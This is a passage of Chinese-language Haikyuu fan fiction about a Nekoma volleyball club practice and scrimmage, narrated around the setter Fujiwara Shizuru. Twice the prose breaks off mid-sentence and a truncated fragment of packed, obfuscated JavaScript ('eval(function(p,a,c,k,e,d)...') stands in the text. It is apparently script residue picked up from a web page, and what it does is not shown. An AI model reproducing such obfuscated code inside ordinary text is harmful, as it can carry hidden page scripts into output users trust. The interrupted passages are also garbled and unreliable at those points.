而这种碰到球并且过网的，已经算表现好的了，很多新人刚开始上步扣球的时候，站在原地眼睁睁看着排球落下。 不要紧张！这种情况在新人里非常常见！ 无论之前有没有了解过排球，理论上的知识和实践起来是完全不一样的。 藤原静流和其他人在此前也完全没有配合过，但可以依靠自身经验在没有接触过的情况下勉强配合起来，而新人不同，他们没有任何经验。 同样是第一次配合，和其他有经验的攻手可能是——二传托高球，主攻根据球路去调整扣球，然后二传再根据主攻的扣点调整传球。 而新人看见二传传出的高抛球，第一反应是觉得太高了碰不到，可能要等一会儿，但是随着球下落，还没找到自己合适的扣点，他们就会发现自己赶不上排球下落的速度，因此才会出现这种站在原地看着排球落下的情况。 对上步时机和身体的掌握，是他们打不到球的关键。 解决办法也很简单，多扣多练多交流。 在一次一次上步扣球训练中，原本紧张的心渐渐被眼前的排球占据，刚开始还在害怕起跳扣球的他们动作也不再僵硬。 助跑，起跳，这一次不再是挥空，或者碰到，而是—— “扣到了！” —— 12. 第十二章 “Nice！” 排球部的前辈站在场外鼓掌，黑尾铁朗有些欣慰怀念地看着这一幕。 藤原静流调整呼吸，对面前神情激动的男生笑道：“你们这不是打得很好吗？都说了不要紧张啦！” 黑尾铁朗：“记住这个感觉，再来一球！” 藤原静流有点笑不出来了。 无情的托球机器藤原静流在托完十个球后，和场外休息的孤爪研磨互换了位置。 “好累……” 藤原静流声音虚弱，感觉自己快要热化了，难道这就是他进不了热血青春少年漫的原因吗——一热血就化掉了。 黑尾铁朗熟练地把瘫在地上的藤原静流支棱起来：“藤原，要吃点东西吗？” 他将巧克力递了过去，藤原静流接过拆开包装，机械地咬了一口。 “前辈，现在几点了？” “还有半小时呢，再坚持一下。” 好熟悉的对话，藤原静流遗忘的记忆直接被唤醒，之前在中学排球部每星期必打卡的四大话题—— “还有几个？”“还有几圈？”“还有几组？”“还有多久？” 一般得到的回答都不如人意，明明他都快累趴下了，怎么还剩那么多？！ 闲置很久的身体突然进行大量运动，藤原静流表示有点遭不住，连午饭都提不起胃口。 午饭排球部的大家一致决定去校门口的便利店解决，藤原静流没带便当，在店里挑了一个红豆面包和桃子果汁，还买了能量饮料和巧克力，为下午的比赛做准备。 一群人坐在便利店门口的凳子上边吃边聊天，山本猛虎心心念念下午的比赛，迫不及待地找黑尾铁朗询问组队的事情。 “唔，这个啊……” 正式比赛场上七人的常规配置是，一二传一自由人一接应，二副攻二主攻。 但练习赛不看这些，看情况，人数不够能两边凑整就行，缺位置？缺什么位置就找主攻转什么位置！ ——什么位置都可能缺人，唯独主攻手不会。 比如昨天的6vs6练习赛，B队没有自由人，A队少接应，两队都少副攻，那么就让两个主攻转去副攻。 感觉随便？野场更自由，在野场你甚至能看见7vs3,4vs6这种奇奇怪怪的比赛，和一二传五主攻的奇葩配置。 谁懂球到自己头顶上，四面八方都在喊“我来”的救赎感，队伍之间没有任何配合，只有进攻，进攻，再进攻！ 严格贯彻，进攻就是最好的防守这一信条。 目前在场的有两个二传，一个副攻，一个接应，一个自由人，三个主攻手，两个新人询问意向后，一个想当主攻，另一个对自由人感兴趣。 黑尾铁朗早在上午训练的时候，就决定好了分组。 A队，孤爪研磨，黑尾铁朗，福永招平，二年级主攻，一年级自由人。 B队，藤原静流，夜久卫辅，海信行，山本猛虎，间塗护（主攻)。 其他人按比赛规则轮换，自由人长驻后排不下场。 藤原静流迷茫，夜久卫辅在自己这边，他肯定是开心的，毕竟对方的一传技术得到排球部所有人的肯定，但是…… 他们这边的拦网是不是脆了点？ 藤原静流拦网如同纸糊，间塗护是新人，指望他们两个人在拦网上有什么贡献是不可能的了。 比赛的时候，不会又是靠自由人力挽狂澜吧？ 等等，我为什么要说又？这个局面怎么那么眼熟？ 藤原静流表示，这个困境我好像看见过。 夜久卫辅自然也注意到了，他说：“你们拦网的时候不要总冲着拦死去，黑尾那家伙都做不到每一球都拦死，没把握的球就尝试让出位置，交给我。” 夜久卫辅一句“交给我”，让藤原静流感到无比安心。 这就是一个优秀自由人带来的安全感！ 回答体育馆，A队和B队猜硬币决定发球权，后者获得先发权。 开局孤爪研磨站二号位，藤原静流站在一号位，队友双手抱头，这个姿势是掩护发球，也是保护自己。 毕竟痛击我的队友，可是排球场上的经典名画。 很多排球新人在刚开始看别人打或者描述的时候，其实会产生一种困惑，发球还会发不过网？力气那么小的吗？ 排球的重量只有200多克，打过网这不是有手就行吗？ 藤原静流就是其中之一，然后在第一次练习发球的时候就被排球教做人……想象中三天跳发，七天跳飘，实际下手发球就练了一个星期，还不能稳定！ ——怎么忽然开始播放失败合集了？ 藤原静流收回思绪，拿着排球站在发球线上，保险起见他选择了下手发球。 排球慢悠悠地飞过网，A队自由人却没有动作，幸好后黑尾铁朗早有预料，一句“我来”稳稳将排球垫起。 排球来到孤爪研磨上方，他不用动就可以直接上手传球，此时场上3号位福永招平和4号位前辈都做好了准备。 这球传给谁都可以，孤爪研磨看了一眼站在2号位的间塗护，那么—— “前辈。” 排球向着标志杆的位置飞去。 4号位对位是2号位，二年级主攻直接空网扣球。 同样早有准备的夜久卫辅迅速判断出球的落点：“藤原！” 听了黑尾铁朗说了那么多遍他的幼驯染，昨天他也体验过和孤爪研磨做队友的感觉，对方的观察力的确很强，才一局就把对手的习惯分析的七七八八，夜久卫辅不相信对方会注意不到间塗护那么大一个漏洞。 发完球藤原静流就开始跑位，以及思考第一球该传给谁？ “我来！” 山本猛虎举手喊道。 好的，藤原静流立刻放弃思考，起跳将球传到山本猛虎上方——偏了一点。 太久没打比赛了，球感忘得差不多了，再加上他有点紧张……虽然不知道在紧张什么，自己不是经理吗？！ “组织拦网！” 孤爪研磨和福永招平在山本猛虎面前组成双人拦网，排球蹭到指尖速度却没有减缓，直接钉在了后场，黑尾铁朗动作迅速鱼跃救球，无奈慢了一步。 夜久卫辅看着这一幕，忽然想到昨天黑尾铁朗的那一句“我是副攻啊”。 “耶！” 看见扣球得分，山本猛虎超激动地吼了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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藤原静流深吸一口气，间塗护在后排是肯定不能进攻的，对方上步扣球都是刚学的，更别提三米线进攻。 他现在站在球网三分之二的位置，要么跳传给山本猛虎，要么背传给海信行…… 孤爪研磨把球尽量传高给前排的黑尾铁朗，黑尾铁朗视线紧紧盯着排球，根据球路起跳打调整攻！ 对方的扣球被海信行的拦网碰到，排球高高弹起！ 藤原静流调整脚步准备二传，结果没等到排球，他一转头发现大家双手空空站在原地，蓝黄相间的球就这么啪嗒一下掉落在空地上。 “？？？” 藤原静流大为震撼：“你们在干什么？” 我在等一传，你们不动是在等什么？ 众人你看看我，我看看你。 山本猛虎：“我在准备进攻。” 间塗护：“我在观察。” 海信行：“我刚拦完网。” 夜久卫辅：“……我在找球。” “……” 大家有一种很忙，但不知道在忙什么的感觉。 没错，我们排球是这样的！ —— 13.第十三章 “哈哈哈哈哈——” 笑声从网对面传过来，藤原静流本来没想笑的，但队友的回答实在有种难言的幽默，他忍了忍，没忍住跟着笑了起来。 “我是不是应该跟一句「我在二传」？” ——虽然这是实话。 不愧是队友，甩锅的理由都那么整整齐齐。 平心而论，这种情况虽然看着好笑，但实际非常合理。 球员的状态有起伏很正常，不是谁都可以时时刻刻保持最高水准，因此偶尔会出现一些非常下饭的离谱操作。 更何况看看他们这边的人员配置，满脑子只有进攻的山本猛虎，只管二传不回头的藤原静流，只一味场内看赛，沉浸式COS路障的间塗护…… 自由人撑起防线一边天，谁看了不说一句感谢夜久前辈！ “你们的跑位太乱了！”体育馆欢乐的氛围降下了些，防线的天开口讲出了重点，“特别是山本！你的动作幅度太大了，我要看球路，还要注意不和你撞上……” 山本猛虎，一款想到进攻就发了狠，忘了情的主攻手，眼里只有扣球扣球扣球，完全忘记场上还有三个半队友——相信所有人都知道那半个是谁，至于为什么是半个？因为只有排球来到藤原静流上方时，山本猛虎的眼里才有他这个二传。 “抱歉！” 山本猛虎认错的速度很快，夜久卫辅无奈扶了下额：“你不要只嘴上认错……比赛也给我行动起来啊！” 他看向二传，藤原静流主动自我检讨：“我也有问题，夜久前辈在后场实在太让人安心了，导致我只想着二传了。” 学好难，学坏只需要两个回合，不得不说这种排球飞到自己头上不需要过多调整的感觉，真的好爽！ 对于自己犯的错误，藤原静流心里只有一点愧疚，剩下九十九点都是回味。 间塗护说不出什么所以然，只一味道歉。 对于新人，夜久卫辅态度比较宽容，他只有一个要求：“间塗，不要害怕，勇敢一点啊。” “这里是排球场，不是拳击场，就算打得不好也没人会来揍你一顿。要是觉得能接就接，不能接就让开位置，接球不要怕垫飞，你还有队友，一传失误就让其他人补救。” “也不要害怕要球，欸……”自由人叹气，“山本的激进要是分给你一点就好了。” 对面在开检讨大会，黑尾铁朗也没闲着，对自由人村田说：“看见了没，无论技术多么高超的球员也有失误的时候——还是看起来很基础离谱的失误，所以你们不要紧张！” 他又指点了一下村田垫球的姿势，不求对方能一传到位，别飞得太离谱就行了，不然以研磨的体力估计打不到四点。 互相喂了一顿饭之后，大家氛围好了很多，没有刚开始那么生疏。 福永招平继续发球，孤爪研磨趁着对方拿球的间隙，低声道：“福永君，如果可以的话，球尽量发前场。” “好的。” “研磨是想逼对面二传接发吗？” 孤爪研磨注视着对面的阵型：“谁接发都可以，发前排获得的收益最大。” 大概是知道间塗护的接球水平，B队特地安排他站在边线上，左前方是夜久卫辅，追发间塗护如果球技不够精准的话容易出界，或者被夜久卫辅接下。 但夜久卫辅就算再厉害，也只是一个人。 B队前排的站位是4号位藤原静流，3号位山本猛虎，2号位海信行，如果藤原静流接发，另外两名攻手中必须有一个去当二传。 藤原静流二传的风格更偏向稳定，要是山本猛虎和海信行其中一人参与接发，比起刚接完球，还没有到位的攻手，他会更倾向于给已经准备好的人，那么这个回合对面又是一点攻…… “砰——” 排球刚离手，藤原静流就感觉这球弧线和上一局有差别，还没过网高度就开始下降，最终险而又险地擦网而过，他瞳孔一缩，跪下匆忙将排球垫起—— “抱歉，补救！” 球高度太低了，山本猛虎距离最近，一个伸手又给它捞起来，然后由海信行勉强处理过去。 比预料的效果更好，对面无攻过网，这球是他们这边的机会球。 那么，接下来…… “福永——” 一个身影悄无声息地在三米线起跳，B队拦网全被黑尾铁朗晃走，福永招平扣球得分！ “Nice！” 同样是一个主攻手在后排，间塗护无法参与进攻，但福永招平却可以。 山本猛虎看着被其他人围在中间的福永招平，同为一年级的主攻手，他总忍不住与其相互比较…… 眼看着现在对方发球连续给己方造成阻碍，而他却很少直接扣球得分，他自我感觉落后一步，不由得有些焦虑。 “大家不要急！” 夜久卫辅招呼其他人过来围成一个圈，看似在加油打气，实际上—— “对面肯定会继续发前排。” 藤原静流压低了声音道。 擦网球其实更难接，但这种球难度系数太高，没有人能保证每一球都擦网过。 “那怎么办？要不我往前靠靠？”夜久卫辅问。 “不，我们前排接球水平还过得去，夜久前辈还是专心守后场。”藤原静流思索几秒下定决心，“如果对面再发前排，我们不二传了，直接打二次。” “二次？” “山本，你可以做到吗？”藤原静流目光沉静地注视着这位主攻手，“把球扣到对面场地上。” 听了藤原静流的话，山本猛虎瞬间热血沸腾：“当然可以！” 藤原静流：“……声音轻点，我能听见。” 他们在这商量战术呢，你这一吼对面不都知道了吗？ “哦哦！” 听到下一场要给自己传球，山本猛虎心情都好了不少。 确定接下来怎么打，海信行出声道：“大家加油！” “只许他再发一球！” 排球如所料的一样向着前场飞来，判断落点是藤原静流一传。 一传不算太高，这是为了缩短时间，高抛球让攻手拥有充足的时间准备，但慢节奏的进攻也算是跟对面拦网明牌了。 而山本猛虎也没有辜负藤原静流的期望，手臂如同鞭子一样打在排球上。 “砰——” 排球砸到黑尾铁朗的手指，飞向场外。 “Nice ball！” 明明得分了，山本猛虎心情却不像之前那样激动，他隔网看向黑尾铁朗，后者笑道：“山本，进攻意图太明显了。” “对面好像反应过来了呢？” 发球权轮换，海信行发球，间塗护来到4号位。 “前辈，追发自由人。” 追发对面接球技术最差的，是一个非常常见的战术。 除非A队学他们一样，让自由人站边线，然后再派个人保护。 海信行将排球抛起，紧接着瞄准左上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而没时间给藤原静流怀疑人生了，接下来他要面对的是黑尾铁朗的跳发。 “痛……” 藤原静流接完球后后退两步，表情管理差点失控。 时隔三个月，接跳发的感觉依旧还是那么痛，很难不说藤原静流选择当二传，没有不想接一传的因素在。 实话实说，别说大力跳发了，藤原静流连上手发球都有心理阴影——不要小看力5的任何发球啊！ 虽然不至于把他轰到趴下那么严重，但是，真的超级重！而且很痛！ 如果是PVC材质的还好，它的表皮较软，打在手上没那么痛，但比赛排球都是PU材质，PVC排球更多是娱乐，或者给没有接触过这项运动的新人一个过渡。 而PU材质的排球怎么形容呢……藤原静流微笑，一天打下来，真的有种手要断的错觉。 作为自由人，因为接球水平不行需要被队友保护，是很让人感到挫败的行为……但藤原静流现在是二传啊！ 察觉对面似乎想连续追发自己，藤原静流立刻申请自由人保护！ 孤爪研磨金色的竖瞳注视着藤原静流，对方的呼吸起伏很大，起跳高度明显下降，看出来已经累了，但他神情没有明显的疲惫，带着笑意的眼睛亮晶晶，非常自然地和旁边的前辈说笑。 认识一个星期，这还是他第一次见藤原静流情绪外露。 没想到……经理也是排球笨蛋。 ——